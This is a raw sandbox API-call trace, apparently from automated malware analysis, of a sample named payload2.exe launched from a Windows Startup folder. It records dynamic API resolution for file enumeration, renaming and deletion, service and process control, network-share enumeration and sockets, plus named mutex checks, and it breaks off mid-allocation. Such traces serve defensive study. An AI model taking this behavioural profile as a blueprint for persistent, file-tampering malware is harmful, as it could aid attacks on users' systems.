	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="GetVolumeInformationW") returned 0x7470f020
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="WriteFile") returned 0x7470f180
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="SetFilePointerEx") returned 0x7470f130
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="SetEndOfFile") returned 0x7470f0e0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="FindFirstFileW") returned 0x7470edf0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="GetProcessHeap") returned 0x746b51f0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="HeapReAlloc") returned 0x77a7f630
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="HeapAlloc") returned 0x77a82dc0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="HeapFree") returned 0x746b57f0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="CreatePipe") returned 0x746b4590
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="SetHandleInformation") returned 0x7470eae0
	[0160.536] GetProcAddress (hModule=0x746a0000, lpProcName="CreateProcessW") returned 0x746b4610
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="CompareStringW") returned 0x746b4430
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="CompareStringA") returned 0x746b4410
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="OpenProcess") returned 0x746b5cc0
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="TerminateProcess") returned 0x746b67e0
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="GetSystemTime") returned 0x746b54e0
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="SystemTimeToFileTime") returned 0x746b67a0
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="GetLastError") returned 0x746b5010
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x746eedc0
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="Process32NextW") returned 0x746ef8f0
	[0160.537] GetProcAddress (hModule=0x746a0000, lpProcName="Process32FirstW") returned 0x746ef750
	[0160.537] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77970000
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="RegOpenKeyExW") returned 0x7798e580
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="RegQueryValueExW") returned 0x7798e5a0
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="RegSetValueExW") returned 0x7798f530
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="RegCloseKey") returned 0x7798ed60
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="OpenProcessToken") returned 0x7798efb0
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="GetTokenInformation") returned 0x7798ee90
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="OpenSCManagerW") returned 0x77990540
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="OpenServiceW") returned 0x7798fa20
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="CloseServiceHandle") returned 0x7798fc00
	[0161.004] GetProcAddress (hModule=0x77970000, lpProcName="ControlService") returned 0x779a26d0
	[0161.005] GetProcAddress (hModule=0x77970000, lpProcName="QueryServiceStatus") returned 0x77992380
	[0161.005] GetProcAddress (hModule=0x77970000, lpProcName="EnumDependentServicesW") returned 0x779a2f70
	[0161.005] GetProcAddress (hModule=0x77970000, lpProcName="EnumServicesStatusExW") returned 0x7798fc80
	[0161.005] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d20000
	[0161.515] GetProcAddress (hModule=0x75d20000, lpProcName="SystemParametersInfoW") returned 0x75d4f210
	[0161.515] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x762a0000
	[0162.879] GetProcAddress (hModule=0x762a0000, lpProcName="ShellExecuteExW") returned 0x76404730
	[0162.879] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77a40000
	[0162.879] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77ab2070
	[0162.879] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74440000
	[0162.955] GetProcAddress (hModule=0x74440000, lpProcName="WNetCloseEnum") returned 0x74442640
	[0162.956] GetProcAddress (hModule=0x74440000, lpProcName="WNetOpenEnumW") returned 0x74442790
	[0162.956] GetProcAddress (hModule=0x74440000, lpProcName="WNetEnumResourceW") returned 0x74442410
	[0162.956] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x748b0000
	[0163.029] GetProcAddress (hModule=0x748b0000, lpProcName="WSAStartup") returned 0x748b5b40
	[0163.029] GetProcAddress (hModule=0x748b0000, lpProcName="socket") returned 0x748c4510
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="send") returned 0x748b5030
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="recv") returned 0x748c0c50
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="connect") returned 0x748b5410
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="closesocket") returned 0x748c0910
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="gethostbyname") returned 0x748e6cb0
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="inet_addr") returned 0x748c9160
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="ntohl") returned 0x748b49d0
	[0163.030] GetProcAddress (hModule=0x748b0000, lpProcName="htonl") returned 0x748b49d0
	[0163.031] GetProcAddress (hModule=0x748b0000, lpProcName="htons") returned 0x748c8ff0
	[0163.031] GetProcessHeap () returned 0x6c0000
	[0163.031] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6cb138
	[0163.031] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=7300079161) returned 1
	[0163.031] GetTickCount () returned 0x113c588
	[0163.031] GetCurrentProcessId () returned 0xd70
	[0163.034] GetTickCount () returned 0x113c588
	[0163.034] GetTickCount () returned 0x113c588
	[0163.034] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6cb1b0
	[0163.034] GetVersion () returned 0x23f00206
	[0163.034] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x7) returned 0x6d6d18
	[0163.034] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d8040
	[0163.034] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d8040, Size=0x20) returned 0x6cae18
	[0163.034] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6cae18, Size=0x40) returned 0x6d79d0
	[0163.034] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x6dd3d0
	[0163.034] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YA") returned 0x1ec
	[0163.035] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6d18 | out: hHeap=0x6c0000) returned 1
	[0163.035] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0163.035] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d79d0 | out: hHeap=0x6c0000) returned 1
	[0163.035] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x7) returned 0x6d6d48
	[0163.035] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d8148
	[0163.035] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d8148, Size=0x20) returned 0x6cae18
	[0163.035] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6cae18, Size=0x40) returned 0x6d7940
	[0163.035] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x6ed3d8
	[0163.035] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YU") returned 0x1f0
	[0163.035] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d6d48 | out: hHeap=0x6c0000) returned 1
	[0163.036] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0163.036] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d7940 | out: hHeap=0x6c0000) returned 1
	[0163.036] GetVersion () returned 0x23f00206
	[0163.036] GetCurrentProcess () returned 0xffffffff
	[0163.036] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0163.036] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0163.036] CloseHandle (hObject=0x1f4) returned 1
	[0163.036] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0163.036] ExitProcess (uExitCode=0x0) 

Thread:
	id = 30
	os_tid = 0xd78


Process:
	id = "6"
	image_name = "payload2.exe"
	filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\payload2.exe"
	page_root = "0x43d7c000"
	os_pid = "0xd7c"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload2.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011008" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 31
	os_tid = 0xd80

	[0161.746] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x746a0000
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetProcAddress") returned 0x746b51b0
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetModuleHandleW") returned 0x746b50d0
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="FindNextFileW") returned 0x7470ee40
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="FindClose") returned 0x7470ed70
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="MoveFileW") returned 0x746ee500
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetFileSizeEx") returned 0x7470ef40
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetModuleFileNameW") returned 0x746b5090
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetFileAttributesW") returned 0x7470ef10
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="ExitProcess") returned 0x746b3cb0
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetCommandLineW") returned 0x746b4cc0
	[0161.746] GetProcAddress (hModule=0x746a0000, lpProcName="GetComputerNameW") returned 0x746e32c0
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="GetComputerNameA") returned 0x746e3780
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="CreateMutexW") returned 0x7470eb70
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="lstrlenW") returned 0x746b6c70
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="lstrlenA") returned 0x746b6c50
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="GetCurrentProcess") returned 0x7470ea10
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="WaitForSingleObject") returned 0x7470eca0
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="GetLogicalDrives") returned 0x746b0d20
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="GetTickCount") returned 0x7470dd50
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="DeleteFileW") returned 0x7470ed40
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="WideCharToMultiByte") returned 0x746b6b10
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x7470ebb0
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="Sleep") returned 0x746b6760
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="LeaveCriticalSection") returned 0x77a8b250
	[0161.747] GetProcAddress (hModule=0x746a0000, lpProcName="ReadFile") returned 0x7470f090
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="CreateFileW") returned 0x7470ed10
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="OpenMutexW") returned 0x7470ebf0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="EnterCriticalSection") returned 0x77a8b2d0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="WaitForMultipleObjects") returned 0x7470ec80
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="lstrcmpiW") returned 0x746b6bf0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="lstrcmpiA") returned 0x746b6bd0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="DeleteCriticalSection") returned 0x77a6fb90
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="ReleaseMutex") returned 0x7470ec20
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="CloseHandle") returned 0x7470eab0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="GetVersion") returned 0x746b56c0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="CreateThread") returned 0x746b46b0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="ExpandEnvironmentStringsW") returned 0x746b4a40
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="QueryPerformanceCounter") returned 0x746b5da0
	[0161.748] GetProcAddress (hModule=0x746a0000, lpProcName="QueryPerformanceFrequency") returned 0x746b5dc0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="GetCurrentProcessId") returned 0x7470ea20
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="SetFileAttributesW") returned 0x7470f100
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="GetVolumeInformationW") returned 0x7470f020
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="WriteFile") returned 0x7470f180
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="SetFilePointerEx") returned 0x7470f130
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="SetEndOfFile") returned 0x7470f0e0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="FindFirstFileW") returned 0x7470edf0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="GetProcessHeap") returned 0x746b51f0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="HeapReAlloc") returned 0x77a7f630
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="HeapAlloc") returned 0x77a82dc0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="HeapFree") returned 0x746b57f0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="CreatePipe") returned 0x746b4590
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="SetHandleInformation") returned 0x7470eae0
	[0161.749] GetProcAddress (hModule=0x746a0000, lpProcName="CreateProcessW") returned 0x746b4610
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="CompareStringW") returned 0x746b4430
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="CompareStringA") returned 0x746b4410
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="OpenProcess") returned 0x746b5cc0
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="TerminateProcess") returned 0x746b67e0
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="GetSystemTime") returned 0x746b54e0
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="SystemTimeToFileTime") returned 0x746b67a0
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="GetLastError") returned 0x746b5010
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x746eedc0
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="Process32NextW") returned 0x746ef8f0
	[0161.750] GetProcAddress (hModule=0x746a0000, lpProcName="Process32FirstW") returned 0x746ef750
	[0161.750] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77970000
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="RegOpenKeyExW") returned 0x7798e580
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="RegQueryValueExW") returned 0x7798e5a0
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="RegSetValueExW") returned 0x7798f530
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="RegCloseKey") returned 0x7798ed60
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="OpenProcessToken") returned 0x7798efb0
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="GetTokenInformation") returned 0x7798ee90
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="OpenSCManagerW") returned 0x77990540
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="OpenServiceW") returned 0x7798fa20
	[0161.829] GetProcAddress (hModule=0x77970000, lpProcName="CloseServiceHandle") returned 0x7798fc00
	[0161.830] GetProcAddress (hModule=0x77970000, lpProcName="ControlService") returned 0x779a26d0
	[0161.830] GetProcAddress (hModule=0x77970000, lpProcName="QueryServiceStatus") returned 0x77992380
	[0161.830] GetProcAddress (hModule=0x77970000, lpProcName="EnumDependentServicesW") returned 0x779a2f70
	[0161.830] GetProcAddress (hModule=0x77970000, lpProcName="EnumServicesStatusExW") returned 0x7798fc80
	[0161.830] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75d20000
	[0161.917] GetProcAddress (hModule=0x75d20000, lpProcName="SystemParametersInfoW") returned 0x75d4f210
	[0161.917] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x762a0000
	[0162.942] GetProcAddress (hModule=0x762a0000, lpProcName="ShellExecuteExW") returned 0x76404730
	[0162.942] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77a40000
	[0162.942] GetProcAddress (hModule=0x77a40000, lpProcName="NtQuerySystemInformation") returned 0x77ab2070
	[0162.942] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74440000
	[0162.959] GetProcAddress (hModule=0x74440000, lpProcName="WNetCloseEnum") returned 0x74442640
	[0162.959] GetProcAddress (hModule=0x74440000, lpProcName="WNetOpenEnumW") returned 0x74442790
	[0162.959] GetProcAddress (hModule=0x74440000, lpProcName="WNetEnumResourceW") returned 0x74442410
	[0162.959] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x748b0000
	[0162.976] GetProcAddress (hModule=0x748b0000, lpProcName="WSAStartup") returned 0x748b5b40
	[0162.976] GetProcAddress (hModule=0x748b0000, lpProcName="socket") returned 0x748c4510
	[0162.976] GetProcAddress (hModule=0x748b0000, lpProcName="send") returned 0x748b5030
	[0162.976] GetProcAddress (hModule=0x748b0000, lpProcName="recv") returned 0x748c0c50
	[0162.976] GetProcAddress (hModule=0x748b0000, lpProcName="connect") returned 0x748b5410
	[0162.977] GetProcAddress (hModule=0x748b0000, lpProcName="closesocket") returned 0x748c0910
	[0162.977] GetProcAddress (hModule=0x748b0000, lpProcName="gethostbyname") returned 0x748e6cb0
	[0162.977] GetProcAddress (hModule=0x748b0000, lpProcName="inet_addr") returned 0x748c9160
	[0162.977] GetProcAddress (hModule=0x748b0000, lpProcName="ntohl") returned 0x748b49d0
	[0162.977] GetProcAddress (hModule=0x748b0000, lpProcName="htonl") returned 0x748b49d0
	[0162.977] GetProcAddress (hModule=0x748b0000, lpProcName="htons") returned 0x748c8ff0
	[0162.977] GetProcessHeap () returned 0x610000
	[0162.978] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x20) returned 0x61af58
	[0162.978] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=7294736169) returned 1
	[0162.978] GetTickCount () returned 0x113c54a
	[0162.978] GetCurrentProcessId () returned 0xd7c
	[0162.980] GetTickCount () returned 0x113c54a
	[0162.980] GetTickCount () returned 0x113c54a
	[0162.980] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x20) returned 0x61aeb8
	[0162.980] GetVersion () returned 0x23f00206
	[0162.980] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x7) returned 0x626e88
	[0162.980] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x628080
	[0162.980] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x628080, Size=0x20) returned 0x61aee0
	[0162.980] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x61aee0, Size=0x40) returned 0x6279e0
	[0162.980] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x62d460
	[0162.980] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YA") returned 0x0
	[0162.980] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_M77T2YA") returned 0x1ec
	[0162.992] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626e88 | out: hHeap=0x610000) returned 1
	[0162.992] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0162.992] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6279e0 | out: hHeap=0x610000) returned 1
	[0162.992] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x7) returned 0x626e88
	[0162.992] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x627f48
	[0162.992] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627f48, Size=0x20) returned 0x61aee0
	[0162.992] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x61aee0, Size=0x40) returned 0x627b90
	[0162.992] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x63d468
	[0162.993] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_M77T2YU") returned 0x0
	[0162.993] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_M77T2YU") returned 0x1f0
	[0162.993] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x626e88 | out: hHeap=0x610000) returned 1
	[0162.993] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0162.994] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x627b90 | out: hHeap=0x610000) returned 1
	[0162.994] GetVersion () returned 0x23f00206
	[0162.994] GetCurrentProcess () returned 0xffffffff
	[0162.994] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0162.994] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0162.994] CloseHandle (hObject=0x1f4) returned 1
	[0162.994] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x14) returned 0x626728
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x627f18
	[0162.994] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627f18, Size=0x20) returned 0x61aee0
	[0162.994] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x61aee0, Size=0x40) returned 0x6279e0
	[0162.994] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6279e0, Size=0x80) returned 0x626d28
	[0162.994] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626d28, Size=0x100) returned 0x627cf8
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x34) returned 0x629100
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x626e88
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x626eb8
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x626f78
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x627f78
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x626ec8
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x627f60
	[0162.994] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626ec8, Size=0x8) returned 0x626f28
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x627fa8
	[0162.994] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626f28, Size=0x10) returned 0x6280f8
	[0162.994] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x628080
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x627e58
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6280f8, Size=0x20) returned 0x61aee0
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x628140
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x628038
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626e88, Size=0x8) returned 0x626ec8
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626eb8, Size=0x8) returned 0x626e88
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x626f28
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x628068
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x626f38
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x627f90
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626f38, Size=0x8) returned 0x626eb8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x628128
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626eb8, Size=0x10) returned 0x627fc0
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x6280b0
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x626eb8
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627fc0, Size=0x20) returned 0x64dae0
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626ec8, Size=0x10) returned 0x627f00
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626e88, Size=0x10) returned 0x6280c8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x626e88
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x627f18
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x626ec8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x627f48
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626ec8, Size=0x8) returned 0x626f38
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x626ec8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xc) returned 0x6280f8
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x4) returned 0x626f68
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xa) returned 0x627fc0
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x626f68, Size=0x8) returned 0x64e058
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x627f00, Size=0x20) returned 0x64d9f0
	[0162.995] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x6280c8, Size=0x20) returned 0x64dc48
	[0162.995] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x8) returned 0x64df38
